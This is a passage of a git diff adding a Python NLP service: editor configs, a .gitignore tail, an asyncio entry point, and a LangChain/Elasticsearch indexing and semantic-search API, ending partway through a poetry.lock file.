+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
diff --git a/cmd/nlp/.python-version b/cmd/nlp/.python-version
new file mode 100644
index 0000000..1e33456
--- /dev/null
+++ b/cmd/nlp/.python-version
@@ -0,0 +1 @@
+3.11.2
diff --git a/cmd/nlp/.vscode/extensions.json b/cmd/nlp/.vscode/extensions.json
new file mode 100644
index 0000000..5751efd
--- /dev/null
+++ b/cmd/nlp/.vscode/extensions.json
@@ -0,0 +1,16 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations.
+ // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp
+ // List of extensions which should be recommended for users of this workspace.
+ "recommendations": [
+ "ms-python.black-formatter",
+ "ms-python.flake8",
+ "ms-python.isort",
+ "ms-python.python",
+ "ms-python.vscode-pylance",
+ "njpwerner.autodocstring",
+ "zxh404.vscode-proto3",
+ ],
+ // List of extensions recommended by VS Code that should not be recommended for users of this workspace.
+ "unwantedRecommendations": []
+}
\ No newline at end of file
diff --git a/cmd/nlp/.vscode/launch.json b/cmd/nlp/.vscode/launch.json
new file mode 100644
index 0000000..7b1dbbc
--- /dev/null
+++ b/cmd/nlp/.vscode/launch.json
@@ -0,0 +1,22 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: nlp",
+ "type": "python",
+ "request": "launch",
+ "module": "nlp",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/nlp/.vscode/settings.json b/cmd/nlp/.vscode/settings.json
new file mode 100644
index 0000000..1490d27
--- /dev/null
+++ b/cmd/nlp/.vscode/settings.json
@@ -0,0 +1,64 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter",
+ "editor.formatOnSave": true,
+ },
+ "autoDocstring.docstringFormat": "google",
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.formatting.provider": "none",
+ "python.languageServer": "Pylance",
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+}
\ No newline at end of file
diff --git a/cmd/nlp/.vscode/tasks.json b/cmd/nlp/.vscode/tasks.json
new file mode 100644
index 0000000..00b0263
--- /dev/null
+++ b/cmd/nlp/.vscode/tasks.json
@@ -0,0 +1,12 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Type Checking",
+ "type": "shell",
+ "command": "poetry run pyright"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/nlp/README.md b/cmd/nlp/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/nlp/nlp/__init__.py b/cmd/nlp/nlp/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/nlp/nlp/__main__.py b/cmd/nlp/nlp/__main__.py
new file mode 100644
index 0000000..f70b85c
--- /dev/null
+++ b/cmd/nlp/nlp/__main__.py
@@ -0,0 +1,74 @@
+# Standard Libraries
+import asyncio
+import signal
+from typing import Any, Optional
+
+# 3rd Party Libraries
+import structlog
+from nemesiscommon.logging import configure_logger
+
+from nlp.app import App
+from nlp.settings import config
+
+configure_logger(False, config.log_level, config.environment.value)
+logger = structlog.get_logger(module=__name__)
+
+
+def main():
+ loop = asyncio.get_event_loop()
+
+ if config.environment.is_development():
+ # loop.set_debug(True)
+ loop.slow_callback_duration = 1
+
+ signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
+ for s in signals:
+ loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(loop, s)))
+ loop.set_exception_handler(handle_exception)
+
+ app = App(config)
+ task = app.start()
+ loop.run_until_complete(task)
+
+
+async def shutdown(
+ loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None
+):
+ """Cleanup tasks tied to the service's shutdown."""
+
+ if signal:
+ await logger.ainfo(f"Shutting down due the signal '{signal.name}'...")
+ else:
+ await logger.ainfo("Shutting down...")
+
+ tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()]
+
+ await logger.ainfo(f"Cancelling {len(tasks)} outstanding tasks")
+ [task.cancel() for task in tasks]
+
+ await asyncio.gather(*tasks)
+
+ loop.stop()
+
+
+def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]):
+ # context["message"] will always be there; but context["exception"] may not
+
+ e = context.get("exception", None)
+ msg = context.get("message")
+
+ if "exception" in context:
+ logger.error(
+ "Unhandled global exception",
+ exception=str(e),
+ exception_message=msg,
+ )
+ else:
+ logger.error("Unhandled global exception", exception_message=msg)
+
+ # logger.info("Shutting down...")
+ # asyncio.create_task(shutdown(loop))
+
+
+if __name__ == "__main__":
+ main()
diff --git a/cmd/nlp/nlp/app.py b/cmd/nlp/nlp/app.py
new file mode 100644
index 0000000..c8cd925
--- /dev/null
+++ b/cmd/nlp/nlp/app.py
@@ -0,0 +1,106 @@
+# Standard Libraries
+import asyncio
+from urllib.parse import urlparse
+
+# 3rd Party Libraries
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+import uvicorn
+from fastapi import FastAPI
+from nemesiscommon.messaging_rabbitmq import NemesisRabbitMQConsumer
+from nemesiscommon.setupqueues import initRabbitMQ
+from nemesiscommon.socketwaiter import SocketWaiter
+from nemesiscommon.storage_s3 import StorageS3
+from nemesiscommon.storage_minio import StorageMinio
+from nemesiscommon.storage import StorageInterface
+from nlp.services.indexing import IndexingService
+from nlp.services.semantic_search import SemanticSearchAPI
+from nlp.settings import NLPSettings
+from prometheus_async.aio.web import MetricsHTTPServer, start_http_server
+
+logger = structlog.get_logger(__name__)
+
+
+class App:
+ cfg: NLPSettings
+ storage: StorageInterface
+ metrics_server: MetricsHTTPServer
+
+ def __init__(self, cfg: NLPSettings) -> None:
+ self.cfg = cfg
+
+ async def start(self) -> None:
+ await logger.ainfo("Application started")
+
+ await self.wait_for_services()
+ await initRabbitMQ(self.cfg.rabbitmq_connection_uri)
+ self.metrics_server = await start_http_server(port=self.cfg.prometheus_port)
+
+ if self.cfg.storage_provider.lower() == "s3":
+ self.storage = StorageS3(
+ assessment_id=self.cfg.assessment_id,
+ data_download_dir=self.cfg.data_download_dir,
+ aws_access_key_id=self.cfg.aws_access_key_id,
+ aws_secret_access_key=self.cfg.aws_secret_access_key,
+ aws_default_region=self.cfg.aws_default_region,
+ aws_bucket_name=self.cfg.aws_bucket,
+ aws_kms_key_alias=self.cfg.aws_kms_key_alias,
+ )
+ elif self.cfg.storage_provider.lower() == "minio":
+ self.storage = StorageMinio(
+ assessment_id=self.cfg.assessment_id,
+ data_download_dir=self.cfg.data_download_dir,
+ access_key=self.cfg.minio_root_user,
+ secret_key=self.cfg.minio_root_password,
+ )
+ else:
+ await logger.aerror("Storage provider not supported", storage_provider=self.cfg.storage_provider)
+ raise
+
+ await logger.ainfo("Starting services")
+
+ task_coroutines = [
+ self.start_indexing_service(),
+ self.start_semantic_search_api(),
+ ]
+
+ async with asyncio.TaskGroup() as tg:
+ for c in task_coroutines:
+ tg.create_task(c)
+
+ await logger.ainfo("Application shutting down")
+
+ async def stop(self):
+ await logger.ainfo("Stopping application")
+ pass
+
+ async def wait_for_services(self) -> None:
+ rabbitUri = urlparse(self.cfg.rabbitmq_connection_uri)
+ elasticUri = urlparse(self.cfg.elasticsearch_url)
+
+ if rabbitUri.hostname is None or elasticUri.hostname is None:
+ raise Exception("Invalid connection URI")
+ if rabbitUri.port is None or elasticUri.port is None:
+ raise Exception("Invalid connection URI")
+
+ SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait()
+ SocketWaiter(elasticUri.hostname, elasticUri.port).wait()
+ await logger.ainfo("All services are online!")
+
+ async def start_indexing_service(self) -> None:
+ async with (
+ await NemesisRabbitMQConsumer.create(
+ self.cfg.rabbitmq_connection_uri, constants.Q_FILE_DATA_PLAINTEXT, pb.FileDataPlaintextMessage, "indexingservice"
+ ) as textQ,
+ ):
+ service = IndexingService(textQ, self.cfg, self.storage)
+ await service.run()
+
+ async def start_semantic_search_api(self) -> None:
+ app = FastAPI()
+ routes = SemanticSearchAPI(self.cfg)
+ app.include_router(routes.router)
+ server_config = uvicorn.Config(app, host="0.0.0.0", port=9803, log_level=self.cfg.log_level.lower())
+ server = uvicorn.Server(server_config)
+ await server.serve()
diff --git a/cmd/nlp/nlp/services/indexing.py b/cmd/nlp/nlp/services/indexing.py
new file mode 100644
index 0000000..4bf1135
--- /dev/null
+++ b/cmd/nlp/nlp/services/indexing.py
@@ -0,0 +1,87 @@
+# Standard Libraries
+import os
+import re
+import time
+import uuid
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from langchain.embeddings import HuggingFaceEmbeddings
+from langchain.text_splitter import RecursiveCharacterTextSplitter
+from langchain.vectorstores import ElasticVectorSearch
+from nemesiscommon.messaging import MessageQueueConsumerInterface
+from nemesiscommon.messaging_rabbitmq import SingleQueueRabbitMQWorker
+from nemesiscommon.storage import StorageInterface
+from nlp.settings import NLPSettings
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class IndexingService(SingleQueueRabbitMQWorker):
+ cfg: NLPSettings
+ storage: StorageInterface
+ embeddings: HuggingFaceEmbeddings
+ vector_store: ElasticVectorSearch
+ text_splitter: RecursiveCharacterTextSplitter
+
+ def __init__(self, inputQ: MessageQueueConsumerInterface, cfg: NLPSettings, storage: StorageInterface) -> None:
+ super().__init__(inputQ)
+
+ self.storage = storage
+ self.cfg = cfg
+
+ self.embeddings = HuggingFaceEmbeddings(model_name=self.cfg.embedding_model)
+ self.vector_store = ElasticVectorSearch(embedding=self.embeddings, elasticsearch_url=self.cfg.elastic_connection_uri, index_name=self.cfg.elastic_index_name)
+
+ # significantly faster than HuggingFace tokenization
+ self.text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(chunk_size=500, chunk_overlap=0)
+
+ @aio.time(Summary("process_plaintext_indexing", "Time spent processing/indexing a plaintext topic.")) # type: ignore
+ async def process_message(self, event: pb.FileDataPlaintextMessage) -> None:
+ """ """
+
+ for data in event.data:
+ object_id = uuid.UUID(data.object_id)
+ originating_object_id = data.originating_object_id
+ originating_object_path = data.originating_object_path
+ originating_object_converted_pdf = data.originating_object_converted_pdf
+ source = event.metadata.source
+
+ try:
+ print(f"object_id: {object_id}")
+ with await self.storage.download(object_id) as file:
+ with open(file.name, 'r') as f:
+ # combine all repeated whitespace into single spaces
+ text = f.read()
+ text_processed = re.sub(r"\s+", " ", text)
+
+ # split the text using our default splitter
+ docs = self.text_splitter.split_text(text_processed)
+ total_words = len(text_processed.split())
+
+ if total_words > 0:
+ # construct the metadata dict for each split text
+ metadata = [
+ {
+ "source": source,
+ "object_id": object_id,
+ "originating_object_id": originating_object_id,
+ "originating_object_path": originating_object_path,
+ "originating_object_pdf": originating_object_converted_pdf,
+ }
+ ] * len(docs)
+
+ await logger.ainfo(f"Loading {len(docs)} documents ({total_words} total words) into the vector store", object_id=object_id)
+
+ # load the documents into the vector store asynchronously
+ # vector_store.aadd_texts() not yet implemented
+ start = time.time()
+ self.vector_store.add_texts(docs, metadata)
+ end = time.time()
+ await logger.ainfo(f"Documents loaded in {(end - start):.2f} seconds", object_id=object_id)
+
+ except Exception as e:
+ await logger.aexception(e, message="exception in processing a plaintext file")
diff --git a/cmd/nlp/nlp/services/semantic_search.py b/cmd/nlp/nlp/services/semantic_search.py
new file mode 100644
index 0000000..5ceb3a0
--- /dev/null
+++ b/cmd/nlp/nlp/services/semantic_search.py
@@ -0,0 +1,135 @@
+# Standard Libraries
+import re
+import time
+from typing import List
+
+# 3rd Party Libraries
+import structlog
+from fastapi.responses import Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from langchain.embeddings import HuggingFaceEmbeddings
+from langchain.text_splitter import RecursiveCharacterTextSplitter
+from langchain.vectorstores import ElasticVectorSearch
+from nlp.settings import NLPSettings
+from prometheus_async import aio
+from prometheus_client import Summary
+from pydantic import BaseModel
+
+logger = structlog.get_logger(module=__name__)
+
+
+class IndexingRequest(BaseModel):
+ text: str
+ object_id: str
+ originating_object_id: str
+ originating_object_path: str
+
+
+class SemanticSearchRequest(BaseModel):
+ search_phrase: str
+ num_results: int
+
+
+class SemanticSearchResult(BaseModel):
+ text: str
+ score: float
+ source: str
+ object_id: str
+ originating_object_id: str
+ originating_object_path: str
+ originating_object_pdf: str
+
+
+class SemanticSearchResults(BaseModel):
+ results: List[SemanticSearchResult]
+
+
+class SemanticSearchAPI(Routable):
+ cfg: NLPSettings
+ embeddings: HuggingFaceEmbeddings
+ vector_store: ElasticVectorSearch
+ text_splitter: RecursiveCharacterTextSplitter
+
+ def __init__(self, cfg: NLPSettings) -> None:
+ super().__init__()
+ self.cfg = cfg
+ embeddings = HuggingFaceEmbeddings(model_name=cfg.embedding_model)
+ self.vector_store = ElasticVectorSearch(
+ embedding=embeddings, elasticsearch_url=cfg.elastic_connection_uri, index_name=cfg.elastic_index_name
+ )
+ # significantly faster than HuggingFace tokenization
+ self.text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(chunk_size=500, chunk_overlap=0)
+
+ @get("/")
+ async def home(self):
+ return Response()
+
+ @get("/ready")
+ async def ready(self):
+ """
+ Used for readiness probes.
+ """
+ return Response()
+
+ @aio.time(Summary("semantic_search", "Semantic search over indexed documents")) # type: ignore
+ @post("/semantic_search")
+ async def semantic_search(self, request: SemanticSearchRequest):
+ try:
+ results = self.vector_store.similarity_search_with_score(request.search_phrase, k=request.num_results)
+
+ search_results = SemanticSearchResults(results=[])
+
+ for document, score in results:
+ metadata = document.metadata
+ search_result = SemanticSearchResult(
+ text=document.page_content,
+ score=score,
+ source=metadata["source"],
+ object_id=metadata["object_id"],
+ originating_object_id=metadata["originating_object_id"],
+ originating_object_path=metadata["originating_object_path"],
+ originating_object_pdf=metadata["originating_object_pdf"]
+ )
+ search_results.results.append(search_result)
+
+ return search_results
+
+ except Exception as e:
+ await logger.aexception(e, message="exception in processing a semantic search request")
+ return {"error": f"{e}"}
+
+ @aio.time(Summary("indexing_request", "Indexing of document text")) # type: ignore
+ @post("/indexing")
+ async def indexing(self, request: IndexingRequest):
+ try:
+ # combine all whitespace into single spaces
+ text_processed = re.sub(r"\s+", " ", request.text)
+
+ # split the text using our default splitter
+ docs = self.text_splitter.split_text(text_processed)
+ total_words = len(text_processed.split())
+
+ # construct the metadata dict for each split text
+ metadata = [
+ {
+ "object_id": request.object_id,
+ "originating_object_id": request.originating_object_id,
+ "originating_object_path": request.originating_object_path,
+ }
+ ] * len(docs)
+
+ await logger.ainfo(
+ f"Loading {len(docs)} documents ({total_words} total words) into the vector store", object_id=request.object_id
+ )
+
+ # load the documents into the vector store asynchronously
+ # vector_store.aadd_texts() not yet implemented
+ start = time.time()
+ self.vector_store.add_texts(docs, metadata)
+ end = time.time()
+ await logger.ainfo(f"Documents loaded in {(end - start):.2f} seconds", object_id=request.object_id)
+
+ except Exception as e:
+ await logger.aexception(e, message="exception in processing a indexing request")
+ return {"error": f"{e}"}
diff --git a/cmd/nlp/nlp/settings.py b/cmd/nlp/nlp/settings.py
new file mode 100644
index 0000000..2e4e5b7
--- /dev/null
+++ b/cmd/nlp/nlp/settings.py
@@ -0,0 +1,17 @@
+# Standard Libraries
+from enum import StrEnum
+
+# 3rd Party Libraries
+from nemesiscommon.settings import FileProcessingService
+from pydantic import Field
+
+
+class NLPSettings(FileProcessingService): # type: ignore
+ rabbitmq_connection_uri: str
+ elastic_index_name: str
+ embedding_model: str
+ elastic_connection_uri: str
+ elasticsearch_url: str
+
+
+config = NLPSettings() # type: ignore
diff --git a/cmd/nlp/poetry.lock b/cmd/nlp/poetry.lock
new file mode 100644
index 0000000..56ee582
--- /dev/null
+++ b/cmd/nlp/poetry.lock
@@ -0,0 +1,3313 @@
+# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand.
+
+[[package]]
+name = "aio-pika"
+version = "8.3.0"
+description = "Wrapper for the aiormq for asyncio and humans."
+optional = false
+python-versions = ">3.6, <4"
+files = [
+ {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"},
+ {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"},
+]
+
+[package.dependencies]
+aiormq = ">=6.6.3,<6.7.0"
+yarl = "*"
+
+[package.extras]
+develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"]
+
+[[package]]
+name = "aioboto3"
+version = "10.4.0"
+description = "Async boto3 wrapper"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"},
+ {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"},
+]
+
+[package.dependencies]
+aiobotocore = {version = "2.4.2", extras = ["boto3"]}
+
+[package.extras]
+chalice = ["chalice (>=1.24.0)"]
+s3cse = ["cryptography (>=2.3.1)"]
+
+[[package]]
+name = "aiobotocore"
+version = "2.4.2"
+description = "Async client for aws services using botocore and aiohttp"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"},
+ {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.3.1"
+aioitertools = ">=0.5.1"
+boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""}
+botocore = ">=1.27.59,<1.27.60"
+wrapt = ">=1.10.10"
+
+[package.extras]
+awscli = ["awscli (>=1.25.60,<1.25.61)"]
+boto3 = ["boto3 (>=1.24.59,<1.24.60)"]
+
+[[package]]
+name = "aiofile"
+version = "3.8.7"
+description = "Asynchronous file operations."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"},
+ {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"},
+]
+
+[package.dependencies]
+caio = ">=0.9.0,<0.10.0"
+
+[package.extras]
+develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"]
+
+[[package]]
+name = "aiohttp"
+version = "3.8.4"
+description = "Async http client/server framework (asyncio)"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"},
